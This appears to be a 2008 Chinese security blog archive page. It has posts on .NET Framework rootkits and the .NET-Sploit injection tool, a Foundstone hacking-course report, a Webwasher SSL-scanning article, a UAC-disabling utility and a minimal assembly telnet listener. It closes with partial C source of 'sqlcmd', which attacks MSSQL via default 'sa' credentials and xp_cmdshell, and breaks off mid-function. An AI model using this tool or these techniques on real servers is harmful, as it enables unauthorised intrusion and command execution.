存档

‘资源共享’ 分类的存档

.NET Framework Rootkits

2008年11月15日 没有评论 62 views

This page covers a new method that enables an attacker to change the .NET language, and to hide malicious code inside its core.

The whitepaper .NET Framework rootkits - backdoors inside your frameworkcovers various ways to develop rootkits for the .NET framework, so that every EXE/DLL that runs on a modified Framework will behave differently than what it's supposed to do. Code reviews will not detect backdoors installed inside the Framework since the payload is not in the code itself, but rather it is inside the Framework implementation. Writing Framework rootkits will enable the attacker to install a reverse shell inside the framework, to steal valuable information, to fixate encryption keys, disable security checks and to perform other nasty things as described in this paper.
 

A Presentation on this topic is also available.

This paper also introduces .NET-Sploit 1.0 beta - a new tool for building MSIL rootkits that will enable the user to inject preloaded/custom payload to the Framework core DLL.

Here you can also find the Source Code of .NET-Sploit 1.0 beta and Modules for .NET-Sploit 1.0 beta(optional)

Download

Executable - .NET-Sploit 1.0 beta (stand-alone).zip

Modules - .NET-Sploit 1.0 beta.zip

Presentation: .NET Framework Rootkits - Backdoors Inside Your Framework.ppt

Source Code - .NET-Sploit 1.0 beta.zip

WhitePaper: .NET Framework rootkits - backdoors inside your framework.pdf

分类: 资源共享 标签:

Foundstone终极黑客培训实记

2008年11月15日 1 条评论 137 views

作者:新加坡国家图书馆管理局-傅梦(CISSP,CCNP,MCSE)

2004年11月我参加了Foundstone在新加坡举办的终极黑客实战培训。
培训前据老师介绍,这是Foundstone第一次在新加坡举办这样高级别的黑客攻防培训,而本次培训的主要对象是新加坡警察部队,电脑局,电信局等这类国家级重点信息机构,所以这次对外招生只准备了很少的几个照顾班,也主要是针对大型企业的安全管理人员。由于Foundstone终极黑客培训的实战性极强,所以新加坡政府要求前来参加培训的所有学员不仅必须是电脑安全行业的正式员工,而且还需要提供所有个人详细资料备案。不过,即便是这么苛刻的条件,前来报名要参加培训的人还是络绎不绝。

这次培训除了可以让自己有机会系统性的学习黑客技术,我还从讲师那里得知该培训可以为我的CISSP认证增加32个教育学分(要知道,到目前位置还没有别的什么培训可以象Ultimate Hacking这样一次性给CISSP加那么多教育分的),更是开心不已。

Foundstone 的终极黑客实战培训在安全界应该是最有富有盛名的,除了那套被黑客们称为Bible的Hacking Exposed系列丛书是他们编写的,另外,光是那一长串他们为其做长期安全顾问和培训的机构名单就不得不让人刮目相看,如: CIA, Dept of Defense(USA),FBI, NASA, National Security Agency(USA), AT&T, Cisco, IBM, ISS, 等等

Foundstone的终极黑客培训提供根据实际情况而配置在不同网络环境下的20多台服务器,这些服务器装备了各种各样的操作系统,配合Cisco的路由器以及Cisco IOS防火墙,能够模拟极其复杂的网络环境供学员练习。此外,在学员用机方面,Foundstone终极黑客培训为每个学员特别配置了一台 Windows/Linux的双系统,多启动的笔记本电脑上机练习,这样做的目的是为了让学员可以同时使用和掌握不同系统中使用的黑客工具。(所有设备从美国空运) Foundstone终极黑客培训的讲师是从美国Foundstone本部派来的富有经验的专家。就是这样的条件,才可以确保每个学员在这短短的五天内充分的学习到各种具有实战意思的攻防技术和了解到安全防护中的漏洞和盲点。

下面我大致介绍一下5天的Foundstone Ultimate Hacking课程的内容,在为期5天的课程中,有超过30个以上的密集实战练习,包含了入侵Unix、NT/2000、网络设备等层面的练习。

第1 天 – 概论与基础建立

主要学习和重新认识一些入侵渗透的相关基础知识,这些知识点以前都知道,但是这次是通过黑客的眼光来看重新认识他们。

Internet footprinting
Reviewing publicly available information
Network and domain enumeration
"whois" lookups
ARIN lookups
DNS interrogation
Zone transfers
Network reconnaissance
扫描/发现目标 Scanning / Landscape Discovery:
PING sweeps
Port scanning
Banner grabbing
OS guessing
目标信息搜集Lab
第一天应该算是一道开胃菜,这天我们利用课程所教授的工具与技巧来搜集、扫描由Foundstone精心设计的Footprinting模拟网络。逐一在其网络环境中发现了多种设备与主机 (Windows, Red Hat, Solaris, HP-UP, AIX, etc.)。每一次的主机鉴定都是一次不小的胜利。通过不懈的努力,大家都熟练的掌握了各种扫描技术的运用,其中包括了公开的互联网查询服务和局域网的扫描工具。

第2 天 – Windows NT/2000 系统安全

第二天课程的重点主要在Windows NT 与 Windows 2000。从基本的NT/2000 安全开始教起,接着学习入侵与防护NT/2000 系统。在一整天的Windows服务器攻击的课程中我们主要学习了以下技术:

Hacking Windows NT/2000
NT/2000 security overview
SIDs and RIDs
LSASS
SAM
ACLs
Domain and network relationships
Footprint / scan
Identify OSs
Identify services
Enumerate
Computer roles
Users and groups
Discovering Network Topology
Services and pipes
Hardware
LDAP
Penetrate
NT passwords
Password guessing
Password sniffing
Password cracking
Escalate
NT4 and Win2K attacks
Named Pipes prediction attack
Pillage
Auditing
Log cleaning
Grabbing the SAM
NT password cracking
Syskey
Important registry keys
Finding "hidden" plaintext passwords
Get interactive
remote.exe
netcat shells
Expand influence
BO2K
netbus
SubSeven
VNC
NT/2000 Lab
在第2天课程的下午,我们对4部仿真用主机进行了实作攻击演练,在攻击过程中需要充分利用这两天所学的方法与工具。通过一系列的练习,Windows服务器攻击的神秘面纱逐一的被我们完全揭开了。其中一个“Capture the Flag攻占山头”的实际练习更是重中之重,因其难度,整个攻击过程花费了我们不少的时间,最后终于依靠我们学员间的团队合作精神来共同达成了。从第二天的攻击实践中,我们发现了不少过去以为靠打补丁和关闭一些不必要的服务进程就可以有效加强系统安全的盲点。现在回过头来看,要强化一台Windows服务器,要做的事情还有很多很多。

第三天 – UNIX 系统安全

第三天的课程着重在Unix安全方面的问题,在现场,我们将运用本日所学的技能针对Linux与Solaris主机进行实战练习。其中一些重要的技能如下:

Hacking UNIX
UNIX landscape discovery
UNIX host enumeration
Remote attacks
Brute force attacks
Remote buffer overflows
Input validation attacks
Creating back channels
Common remote attacks
Local attacks
UNIX passwords
UNIX password cracking
Symlink attacks
Race condition attacks
Local buffer overflows
File and directory permission attacks
Beyond root
Network mapping
Rootkits
Trojans
Backdoors
Sniffers
Loadable kernel modules
UNIX Lab
由于不是所有的人都熟悉UNIX操作系统,所以第三天的进度比较慢,但是在老师的细心讲解和不厌其烦的答疑,最后几乎所有的学员都能按照要求对其环境中的 4 部Unix 主机进行正确的攻击。(Unix & Linux)。这也充分体验了攻击是不分操作系统的,只要合理的运用学到的技能进行有系统的分析和鉴定,要成功的攻击一台陌生的服务器也不是一件真正的难事。这一天的结果也充分让我们意识到了安全的跨平台性。只要是一个系统,不管熟悉它的人有多少,都完全有必要彻底的做好其安全巩固工作,决不能寄幻想于用户的水平不够就视而不管。

第四天 – 网络入侵与网站入侵Network Hacking & Web Hacking

第四天所教授的内容并不直接针对特定的操作系统,而是将重点放在路由器与防火墙的弱点与漏洞入侵方面。在实作的部分,我们针对了port redirection通讯端口重导转移进行了大量的练习。此外,在Web Hacking网站入侵的部分,我们还讨论了如何入侵web-based的应用程序并探讨Foundstone 专家所提供的eCommerce Application电子商务应用程序安全的检查方法,以及复习在前3日的课程中进行攻击实践时在目标主机上所留下的记录文件。本日覆盖的重要知识技能如下:

Network Hacking
Router issues
Vulnerabilities
Services
Passwords
Routing issues
Path integrity
IP spoofing
Denial of service
Firewall architectures
Firewall attack scenarios
Insider
Vulnerable services
Firewall identification and enumeration
Banner grabbing
ACL enumeration
Port identification
Liberal ACLs
Port redirection
datapipe
fpi
pe
Web Hacking
E-commerce primer
Information gathering
Port scanning
Web reconnaissance
Enumeration
Vulnerability checking
Site duplication
Source sifting
Key field enumeration
Viewing source
Active server pages
Common gateway interface
Cold fusion
File system traversal
Dot dot bugs
Dot listings
Tilde usage
CIM
Input validation
Metacharacters
Field overflows
Application buffer overflows
Server side includes
Hidden tags
IIS Unicode
Local command execution
Impersonation
State tracking
Cookies
在下午的攻击实践中,我们真正领略到了网站攻击的威力。只要具有正确的思维和必要的技能,一个哪怕是只存在一个安全漏洞的网站服务器都会成为攻击者的牺牲品。同时我们也发现了互联网上存在着许多有着显著安全漏洞的网站,值得一提的是,有相当多的网站还是电子商务网站,有经验的攻击者完全可以对这些网站进行攻击以完全免费代价享受网站所提供的各种收费服务甚至是购买价值不菲的实物。

这也不得不让我们所有的安全专家提高警惕:在实践中对这样的系统进行安全加固时,不仅要保证其主机系统的安全,还有必要对在其基础上所运行的网站程序进行系统和长期的漏洞检测与管理。当然还需要对程序员进行有效的安全编程教育和培训。只有通过建议一个可控制的系统的风险管理机制,才可以让企业内的网络管理员和程序开发人员掌握到必要的安全信息和漏洞情况,才能让各部门正确的承担自己的责任,让企业尽可能的降低程序的漏洞和被攻击的风险。

第5天举行Ultimate Lab实战大挑战

最后一天是针对学员这前四天所学习的技能进行一次全面的演练。我们将利用这一整天的时间对由路由器、防火墙、NT/2000、Unix 及Web网站组成的综合目标进行最后的攻击。由于其最终目标的实现极具挑战性,老师明确要求了我们必须以团队合作的方式来完成数小时的实战演练。在最后的攻击演练中要求我们运用的技能包括了以下方面:

Ultimate Hacking:Hands On 实战项目

UNIX 系统安全实战部分

Enumerating UNIX hosts
UNIX brute force attacks
Execution of buffer overflow attack
Execution of input validation attack
Attacking SSL servers
Creating back channels using reverse telnets and X-windows
Execution of remote attacks
Abusing nfs
Exploiting X-windows insecurities
Grabbing keystrokes from another machine
Cracking UNIX password files
Hiding TCP traffic in ICMP packets
Perform network sniffing
Perform session hijacking
NT/2000 系统安全实战

Enumerating NT/2000 hosts
Enumerate NT host, group, and hardware information
Determine NT network topology, architecture, and trust relationship
Automated NT password guessing
Escalating privilege from user to Administrator
Wiping NT audit logs
Grabbing NT password hashes
Sniffing NT password hashes
Cracking NT password hashes
Getting remote interactive cmd.exe shells
Hiding tools and files in NTFS (streams)
Using trojans and backdoors (BO2K, netbus, SubSeven, VNC)
Network Hacking 网络入侵实战

Router identification and enumeration
SNMP vulnerabilities
Decrypting Cisco passwords
Port identification
Determining firewall filtering rules
Taking advantage of liberal firewall rules
Using port redirection to bypass firewall and router rules
上午的时候,老师针对这几天的攻防学习做了一个总结,然后对所有的学员进行了一次理论考核后,就让我们对这次实战培训的终极目标发起进攻。我们只得知最后要得手的是一本很“重要”的电话薄。由于攻击环境因为最后一天的终极挑战重新进行了安排。而且可以肯定的是,这次放电话薄的服务器躲在了防火墙后,一些常用端口也被防火墙关闭了。我们唯一可以利用的是80端口,而且该服务器也没有明显的安全漏洞,所以要想成功的拿到电话本,我们就必须想法先攻克同在防火墙后的另外几台漏洞可能比较多的普通服务器。

由于挑战是对个人攻击技能的总测验,同时又不排除每个人可以想尽办法悄悄的“借助”其他学员的攻击成果而提高自己的攻击速度,所以整个过程充满了挑战性和一连串的刺激。在整个攻击过程中,我几乎用到了前几天学到的所有技能。从侦察,嗅探,被动扫描(不要被防火墙发现),系统及用户列举,建立攻击跳板,透过防火墙建立攻击隧道,端口转发,密码破解等。直到快要到下午六点的时候,终于是第一个同时也是唯一的一个按照实战要求成功完成了既定目标,成功的拿到了那份“分量十足”的电话薄。虽然当时感觉很疲惫,但是心里却是激动不已。因为最后的成功证明了自己这五天的学习没有白费,最后的挑战也证明了自己掌握到了相当的专业攻击技能。通过这些学到的技能,我们可以更好的运用到平时的安全工作中去,比如对自己的所有的系统进行漏洞检测(Penetration Test)。有一点值得一提的是,我们在攻击课中学习了在成功攻击了服务器后如何隐藏自己的攻击记录以不被发现的必要技术。因此从这样的攻击演练中,我们每一个学员都意识到了,安全管理员不能完全依赖安全系统的日志记录,因为这些记录并不是完全可靠的。要做一个合格的安全专家,必须要学会运用各种工具对系统存在的所有信息进行全面,智能的分析才可以确保安全。

除此之外,这五天下来,我们每个参加培训的学员虽然都学会了不少攻击工具的使用,也学到了不少找漏洞的窍门,但是最让我们回味无穷的还是Foundstone在培训中所一直强调的黑客思维体系,因为无论面对的是什么的网络系统环境,对其进行攻击的思路总的来说是不变的。所以,不管新的服务器是什么,新的补丁打到了什么程度,只要能合理运用这种思维方式再结合有效的手段,一定可是找到安全的突破口。

而我自己,作为一名在职的安全专家,通过这次培训,除了让自己彻底了解到了黑客攻击的各个重要环节外,同时也不得不让自己对日常的一些安全防护工作的实施进行必要的检讨以提高警惕性。在我们的日常工作中,有很多重要的安全环节,由于自己的不了解,而简单的忽略掉了。现在有必要结合所学的 Ultimate Hacking的攻击技巧重新制定一系列的安全防范措施。只有这样,才可能真正有效的最大限度保护好我们工作生活中各种网络内的重要信息资源。

通过这次培训,真正我深深的体会到,要成为一个合格的安全专家,还真的必须要先学会如何当好合格的“黑客”才可以。感谢Ultimate Hacking!

分类: 资源共享 标签:

用Webwasher防止恶意软件利用HTTPS通信

2008年11月14日 没有评论 50 views

Webwasher如何通过SSL扫描器模块,防止恶意软件利用HTTPS通信。它还可以防止用户通过流行的CGI代理绕过传统的Web内容过滤器。这对于阻止敏感数据离开公司网络是很重要的。除了其SSL扫描器,Webwasher还提供了其它几个模块,如URL过滤、反恶意软件、传统的反病毒、反垃圾邮件、内容报告器、IM过滤器等,你可以根据需要选择。

我们将讨论恶意软件(和用户)如何利用SSL绕过你的其它控制,以及Webwasher如何解决这个问题。

公司存在着哪些SSL问题?

Web加密对于今天的企业来讲是非常重要的,不过对于防火墙上开放着端口443(HTTPS通道)的企业来说,在其网络中存在着一个严重的安全漏洞。传统的防火墙和网关反病毒方案并不能扫描加密的通信,因此也就不能控制哪些内容通过HTTPS进入和流出企业网络。这向企业提出了一种风险,企业可能并没有认识到,它们不能依靠其HTTP过滤器来保护HTTPS的加密通信。

风险还存在于规章制度的一致性上。如果一个组织允许开放SSL通道(它包含规章制度极力控制的机密信息),它还能保持一致性吗?此外,黑客们和恶意的雇员等都知道通过HTTPS通道进行的通信完全开放并未加保护,因此他们就会继续利用HTTPS协议来绕过内容过滤机制,用以传播潜在的恶意内容。

如今,有很多URL过滤避绕代理可以利用HTTPS连接。当前,没有一个已确定的防火墙或Web网关反病毒解决方案能够进入其中查看这种通信。此外,我们看到一些流行的广告软件和间谍软件从IRC和HTTP转换到了HTTPS协议,其目的是避开已确立的网关过滤器。

Webwasher如何解决这个问题

我们认为唯一可行的方案是临时对SSL通信解密,扫描,然后再重新加密。

这种方法与现在流行的代理服务器防火墙的做法不同。后者仅是解密(换句话说,即“终止”),运用病毒扫描,然后转发到终端用户或Web应用程序。这种安全措施不能用于今天的Web环境,因为它会使端到端的加密需求无效,并会使浏览器产生混乱。

SSL安全代理,如Webwasher就如同一个“黑盒子”一样动作。SSL的加密通信进入,然后SSL的加密通信流出。任何人都不能加密的部分或在网络上嗅探它,这完全是在内存中处理的。现在有几个方案能够在一个单独的机器上提供SSL解密,将解密的通信转发到一个扫描器,扫描器将此通信返回到 SSL方案,SSL方案对其重新加密。此外,典型情况下,你需要调整策略,例如,允许上层管理人员执行在线业务而无需扫描,但要对其他任何人的通信都要扫描。在多数情况下,这会要求双倍的管理成本,不过用Webwasher实现则轻松得多。

Webwasher SSL扫描器如何精确地工作?

基本说来,我们要做的是要将浏览器与服务器之间的一个SSL连接分为两个独立的SSL连接。对于浏览器连接到加密的Web站点的请求,Webwasher SSL扫描器实际上为浏览器执行此操作。这样的一个好处是具备了执行SSL证书检查的能力,而不是将它留给终端用户。我们都清楚这种弹出窗口,它问我们说,我们启动了一个与加密Web站点的会话,你是否想接受证书?我们看到,许多情况下,90%的或更多的终端用户只是单击“接受”,并不关心证书的合法性,是否自签名,是否到期等。一旦Webwasher确认了证书的合法性,我们就启动了一个SSL会话,然后终止之。

对于Web服务器来说,Webwasher充当着一个正常的浏览器。这样我们拥有了加密的通信,而且能够运用内容安全、反病毒、反恶意软件和转出的内容过滤器等机制。记住,所有的这一切者都是在同样的机器上和内存中进行的,因此这里并不存在什么私密问题。一旦我们搞定了过滤问题,我们就充当了真实终端用户的一个Web服务器。Webwasher用客户公司证书或一个拥有Web服务器名字的自签名证书重新加密通信。如果你连接到了自己的服务器账户上,授权证书还会描述其它内容。客户需要做的是展示其自身的正式证书或自签名证书,终端用户将不会再收到授权证书的消息弹出窗口。

IT部门需要维持证书的优良者名单吗?用户们是否会抱怨?

我们能够使管理成本接近于零。Webwasher部件或软件在日常的活动基础上检查已撤消的证书,因此你总能保持最新。Webwasher还采用了一种培训模式。因此,用户可以启动Webwasher SSL的扫描器,基本上它会接受提供的所有证书,并加以存储。在培训结束之后,管理人员就可以进入并查看有请求了哪些证书,并放弃那些不正常的证书。 Webwasher提供了一套工具,借此管理人员并不需要成为一个事件专家。一旦这个培训阶段结束,管理成本就微乎其微了。

Webwasher如何防止用户利用SSL代理服务器避开Web内容过滤器?

如前所述,现在有大量的用户上网冲浪是依靠SSL的加密通信的。典型情况下,URL的过滤器厂商会将应用程序试图连接的服务器列入黑名单,设法阻止其访问。不过,这是一场没有结束的战斗,总会有一个厂商建立一个新的服务器而你没有对其阻止。而且还涉及到数据丢失问题。我们可以看到典型的间谍软件和广告软件从IRC和HTTP后端通道转向了HTTPS后端通道,因为黑客们已经断定这个通道并没有阻止或加以控制。这方面的两个流行的例子即是Gator和 Cool WebSearch。

举例来说,可以对Webwasher进行配置,只允许某些合法的信用卡号码,以及属于于银行和购物站点种类的已知站点。即使你用一个特洛伊木马试图窃取PC机上的一个信用卡号码,它也不可能将这个信息返回;更不用说通过HTTPS进行了。用户还可以采用针对即时通信和点对点的方案,只是这些方案不在同一台机器上而已。

UAC Snooze 发布,帮助管理你的UAC

2008年11月14日 没有评论 72 views

UAC Snooze是一个Windows Vista下的程序,它可以让你用简单的方法暂时停止UAC的工作(在进行一些要权限比较频繁的操作时例如安装程序的时候就非常有用).
当然用这个工具之前您必须清楚地认识自己的操作是安全的.

Features: [screenshots]

  • Temporarily turn off UAC prompts by clicking on the UAC Snooze icon in the system tray
  • Can be configured to start automatically with Windows and not require a UAC prompt
  • Clicking on the icon can turn off UAC prompts or snooze for 1, 5, 10, 30 or 60 minutes (or user-defined time)
  • 10 user-defined snooze intervals can be defined
  • Right-click on icon to bring up menu to select action other than the default
  • When prompts are off, click on icon again to turn prompts back on
  • Options to modify prompt action when program opens and closes
  • Tooltip shows time remaining until prompts will be turned back on
  • Icon changes based on state (Prompts On: UAC Shield , Snooze: Shield with a Z , Off: Shield with an X )
  • 30-day trial period, after which registration cost is only $5

Requirements:

  • Windows Vista 32/64 bit (64-bit version can be downloaded here)
  • Must be run from an account with Administrative privileges
  • UAC should not be disabled

Contacts:

History:

  • v1.01 11-09-08
  • Fixed a problem with the installer that caused the program to expire immediately on some computers

 

  • v1.00 10-30-08
  • Initial release

http://www.uacsnooze.com/

UAC Snooze

32-bit Download
64-bit Download

http://www.uacsnooze.com/images/uac_snooze.png

分类: 资源共享 标签:

MiniTelnet(ASM版)

2008年11月14日 没有评论 87 views

;************************************************
; :: The world's smallest telnetd - 675 bytes ::
;************************************************
; coded by Drocon in NASM
;
;It binds and starts listening on port 31337, and once
;a connection is detected, send out a message
;================================================


;===========
;necessities
;===========


BITS 32    ;we're 32-bit here, so required for -fbin option

%define    RVADIFF      1000h-200h
%define    imagebase    00400000h    ;imagebase, i can change it to anything i want, 400000h is usually normal
%define   CODE_BASE    1000h
%define    DATA_BASE CODE_BASE
%define   reloc RVADIFF+imagebase   ;very very very important, used for data

;====================
;PE headers starts here:
;====================
mz_header:
.magic                  dw "MZ"
.cblp                   dw 0
.cp                     dw 1
.crlc                   dw 0
.cparhdr                dw 4
.minalloc               dw 0
.maxalloc               dw 0
.ss                     dw 1
.sp                     dw 0
.csum                   dw 0
.ip                     dw 0
.cs                     dw 0
.lfarlc                 dw 40h
.ovno                   dw 0
.res                    times 4 dw 0
.oemid                  dw 0
.oeminfo                dw 0
.res2                   times 10 dw 0
.lfanew                 dd pe_header

;dos stub, just exits, no "This program must be run under Win32" shit

stub:

       mov ah, 4ch
       int 21h

align 16, DB 0
pe_header:
.Signature              dd "PE"
.Machine                dw 14Ch
.NumberOfSections       dw 1
.TimeDateStamp          dd 0
.PointerToSymbolTable   dd 0
.NumberOfSymbols        dd 0
.SizeOfOptionalHeader   dw 0E0h
.Characteristics        dw 103h
.Magic                  dw 10Bh
.MajorLinkerVersion     db 0
.MinorLinkerVersion     db 0
.SizeOfCode             dd 1000h
.SizeOfInitializedData  dd 1000h
.SizeOfUninitialzedData dd 0
.AddressOfEntryPoint    dd code
.BaseOfCode             dd CODE_BASE
.BaseOfData             dd DATA_BASE
.ImageBase              dd imagebase
.SectionAlignment       dd 1000h
.FileAlignment          dd 200h
.MajorOperSystemVersion dw 1
.MinorOperSystemVersion dw 0
.MajorImageVersion      dw 0
.MinorImageVersion      dw 0
.MajorSubsystemVersion  dw 4
.MinorSubsystemVersion  dw 0
.Reserved1              dd 0
.SizeOfImage            dd 2000h
.SizeOfHeaders          dd code_end
.CheckSum               dd 0
.Subsystem              dw 2
.DllCharacteristics     dw 0
.SizeOfStackReserve     dd 100000h
.SizeOfStackCommit      dd 2000h
.SizeOfHeapReserve      dd 100000h
.SizeOfHeapCommit       dd 1000h
.LoaderFlags            dd 0
.NumberOfRvaAndSizes    dd 4
.export                 times 2 dd 0
.import                 dd DATA_BASE, import_end-import
.misc_sectionz          times 28 dd 0

sections:
.SectionName            db ".nwc",0,0,0,0  ;nuclearwinter :D
.VirtualSize            dd 1000h
.VirtualAddress         dd DATA_BASE
.SizeOfRawData         &nb
sp;dd import_end-import
.PointerToRawData       dd code_end
.PointerToRelocations   dd 0
.PointerToLinenumbers   dd 0
.NumberOfRelocations    dw 0
.NumberOfLinenumbers    dw 0
.Characteristics        dd 0E0000060h

;====================
;Generic macros for import table building...makes life alot easier
;====================
%macro   rva 1
  dd RVADIFF+%1
%endmacro


%macro     apicall 1
  call dword [%1+reloc]
%endmacro


%macro library 2
  dd   0
           dd   0
           dd   -1
  rva  %1
           rva  %2
%endmacro


%define endlibrary times 5 dd 0 

%macro  api_import 3
%1 rva %2
  %if  %3=1
dw   0
  %endif
%endmacro




;=========
;Defines
;=========


SOCK_STREAM equ 1
SOCK_DGRAM equ 2

SOCKET_ERROR equ -1
INVALID_SOCKET equ -1

MSG_OOB equ 1
MSG_DONTROUTE equ 4


IPPROTO_IP equ  0
IPPROTO_ICMP equ  1
IPPROTO_IGMP equ  2
IPPROTO_GGP equ  3
IPPROTO_TCP equ  6
IPPROTO_PUP equ 12
IPPROTO_UDP equ 17
IPPROTO_IDP equ 22
IPPROTO_ND equ 77


AF_UNSPEC equ 0
AF_UNIX equ 1
AF_INET equ 2
AF_IMPLINK equ 3
AF_PUP equ 4
AF_CHAOS equ 5
AF_IPX equ 6
AF_NS equ 6
AF_ISO equ 7
AF_OSI equ 7
AF_ECMA equ 8
AF_DATAKIT equ 9
AF_CCITT equ 10
AF_SNA equ 11
AF_DECnet equ 12
AF_DLI equ 13
AF_LAT equ 14
AF_HYLINK equ 15
AF_APPLETALK equ 16
AF_NETBIOS equ 17
AF_VOICEVIEW equ 18
AF_FIREFOX equ 19
AF_UNKNOWN1 equ 20
AF_BAN equ 21
AF_MAX equ 22


PF_UNSPEC equ AF_UNSPEC
PF_UNIX equ AF_UNIX
PF_INET equ AF_INET
PF_IMPLINK equ AF_IMPLINK
PF_PUP equ AF_PUP
PF_CHAOS equ AF_CHAOS
PF_NS equ AF_NS
PF_IPX equ AF_IPX
PF_ISO equ AF_ISO
PF_OSI equ AF_OSI
PF_ECMA equ AF_ECMA
PF_DATAKIT equ AF_DATAKIT
PF_CCITT equ AF_CCITT
PF_SNA equ AF_SNA
PF_DECnet equ AF_DECnet
PF_DLI equ AF_DLI
PF_LAT equ AF_LAT
PF_HYLINK equ AF_HYLINK
PF_APPLETALK equ AF_APPLETALK
PF_VOICEVIEW equ AF_VOICEVIEW
PF_FIREFOX equ AF_FIREFOX
PF_UNKNOWN1 equ AF_UNKNOWN1
PF_BAN equ AF_BAN
PF_MAX equ AF_MAX

WSADESCRIPTION_LEN equ 256 ; description length
WSASYS_STATUS_LEN equ 128 ; system status length

STRUC WSADATA
  alignb 4
  .wsa_wVersion resw  1 ; expected caller version
  .wsa_wHighVersion resw  1 ; highest version supported
  .wsa_szDescription resb  WSADESCRIPTION_LEN+1 ; description
  .wsa_szSystemStatus resb  WSASYS_STATUS_LEN+1 ; system status
  .wsa_iMaxSockets resw  1 ; maximum # of sockets
  .wsa_iMaxUdpDg resw  1 ; maximum udp datagram size
  .wsa_lpVendorInfo resd  1 ; vendor info structure
ENDSTRUC
%define _WSADATA_ 2+2+(WSADESCRIPTION_LEN+1)+(WSASYS_STATUS_LEN+1)+2+2+4

STRUC SOCKADDR
  .sa_family resw 1
  .sa_data resw 14
ENDSTRUC
%define _SOCKADDR_ 2+14


STRUC SOCKADDR_IN
  .sin_family resw 1 ;address family
  .sin_port resw 1 ;port number
  .sin_addr resb 4 ;internet address
  .sin_zero resb 8 ;zero padding
ENDSTRUC


;===========
;The real start of the program
;===========

ready db "drocon is teh h$x",13,10,0
ready_size equ ($-ready)
readymsg equ ready+imagebase


code:
sub ebp,ebp

push esp ; ah...the horror, no structures
sub esp, WSADATA_size ; i have to align the stack to
and esp, 0FFFFFFFCh ; allocate enough space for
add esp, 4 ; WSADADA
mov ebx,esp ; ebx now holds WSADATA

; push WSADATA_size
; push ebx
; apicall ZeroMemory


push ebx
push 101h ; anything works here really....
apicall WSAStartup ; call WSAStartup()

push byte 6 ; IPPROTO_TCP
push byte 1 ; SOCK_STREAM
push byte 2 ; AF_INET
apicall socket ; create the socket
mov ebx,eax

push ebp ; dynamically create the
push ebp ; SOCKADDR_IN structure
push ebp ; by pushing params in stack
push dword 697A0002h ; 697A is network order for 7A69 = 31337 in decimal
mov eax,esp ; eax holds SOCKADDR_IN

push byte 16 ; sizeof SOCKADDR_IN
push eax ; SOCKADDR_IN structure
push ebx ; our socket handle from socket()
apicall bind ; bind() :)


push byte 3 ; max 3 connections
push ebx ; socket handle
apicall listen ; listen to the port

; push ebx
; push byte 1
; mov eax,esp

; push ebp
; push ebp
; push ebp
; push eax
; push ebp
; apicall select
; add esp,2*4
next: ; go into a loop to accept()

push ebp ; 0
push ebp ; 0
push ebx ; socket handle
apicall accept ; accept the connection
mov edi,eax ; store handle in edi
inc eax ; check if there was conn
jz next ; nope, go back


push ebp ; 0
push byte ready_size ; the size of the welcome message
push dword readymsg ;&nbsp
;the welcome message + imagebase
push edi ; handle from accept()
apicall send ; send the friendly message :)

push edi ; okay we're done!
apicall closesocket ; time to close the socket!

jmp next ; loop back

xor eax,eax ; restore eax
ret ; return :)
align 200h, DB 0 ; very important, we pad the section w/ zeros
code_end:


;========
;IMPORT TABLE - YAHOOO!!!!!
;========


import:

library WSOCK32, W32api
endlibrary

WSOCK32  db "wsock32.dll", 0

W32api:
api_import socket, api1, 0
api_import bind, api2, 0
api_import send, api3, 0
api_import listen, api4, 0
api_import select, api5, 0
api_import WSAStartup, api6, 0
api_import accept, api7, 0
api_import closesocket, api8, 1


api1 dw 0
       db "socket",0
api2 dw 0
       db "bind",0
api3 dw 0
       db "send",0
api4 dw 0
       db "listen",0
api5 dw 0
       db "select",0
api6 dw 0
       db "WSAStartup",0
api7 dw 0
       db "accept",0
api8 dw 0
       db "closesocket",0

import_end:

;OK EOF THAT WAS REAL FUN

分类: 资源共享 标签:

CMD环境下操作SQL语句的C代码

2008年11月14日 没有评论 84 views

/*
   sqlcmd.c

   WWW.EXCLUDED.ORG - l0om - l0om a7 excluded d07 org

   connect to mssql server and spawn a shell via master..xp_cmdshell 'command'
   - default user "sa"
   - default pwd  ""

    sqlcmd <hostname:port> [options]
    -u: username [def:sa]
-p: password [def:]
  -d: use database
  -h: help
-v: verbose


   badass@linux:/home/sirownalot> gcc -o sqlcmd sqlcmd.c -lsybdb 
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sybfront.h>
#include <sybdb.h>
#include <stdio.h>

#define MAX_HOST   40
#define MAX_BUFF   256
#define PROMPT     "sqlcmd> "

#define DEFAULTHST "127.0.0.1:1433"
#define DEFAULTUID "su"
#define DEFAULTPWD ""
#define FGREEN     "\033[0;32m"
#define FNORMAL    "\033[0;38m"
#define FRED       "\033[0;31m"

struct mssql_login {
    char host[MAX_HOST];
    char *uid;
    char *pwd;
    char *database;
};

int set_paranoia(void *addr, size_t nlen, mode_t mask);
int sql_cmd(DBPROCESS *dbd);
void set_login_defaults(struct mssql_login *login);
void help(char *usage);
static void sig_int(int sig);

int main(int argc, char **argv)
{
    int i, verbose = 0;
    char buf[MAX_BUFF], cmdbuf[MAX_BUFF];
    struct mssql_login mslogin;
    LOGINREC *login;
    DBPROCESS *dbd;

    if(dbinit() == FAIL) {
fprintf(stderr, "dbinit failed\n");
return(1);
    } else login = dblogin();
    if(login == NULL) {
fprintf(stderr, "cannot allocate structur\n");
return(1);
    } else set_login_defaults(&mslogin);

    if(argc > 1)
for(i = 1; i < argc; i++) 
   if(argv[i][0] == '-') 
switch(argv[i][1]) {
   case 'h': 
help(argv[0]);
exit(0);
   case 'u':
mslogin.uid = argv[++i];
break;
   case 'p':
mslogin.pwd = argv[++i];
break;
   case 'd':
mslogin.database = argv[++i];
break;
   case 'v':
verbose = 1;
break;
   default:
printf("unknown option >>%s<<\n",argv[i]);
return(1);
} else {
   memcpy(mslogin.host, argv[i], MAX_HOST);
   if(strchr(mslogin.host, ':') == NULL) {
fprintf(stderr, "wrong host syntax!  <hostname:port>\n");
return(1);
   }
}
   

    if(!getuid()) // if we are root set paranoia settings ;)
if(!set_paranoia((LOGINREC *)&login, sizeof(LOGINREC), 022))
   fprintf(stderr, "[warning]: paranoia settings faild\n");
else printf("[note]: paranoia settings set\n");

    DBSETLUSER(login, mslogin.uid);
    DBSETLPWD(login, mslogin.pwd);
    DBSETLAPP(login, "sqlcmd");
    DBSETLHOST(login, mslogin.host);
    
    if(verbose) printf("verbose: username:%s password:%s host:%s\n\n",mslogin.uid, mslogin.pwd, mslogin.host);

    if( (dbd = dbopen(login, mslogin.host)) == NULL) { 
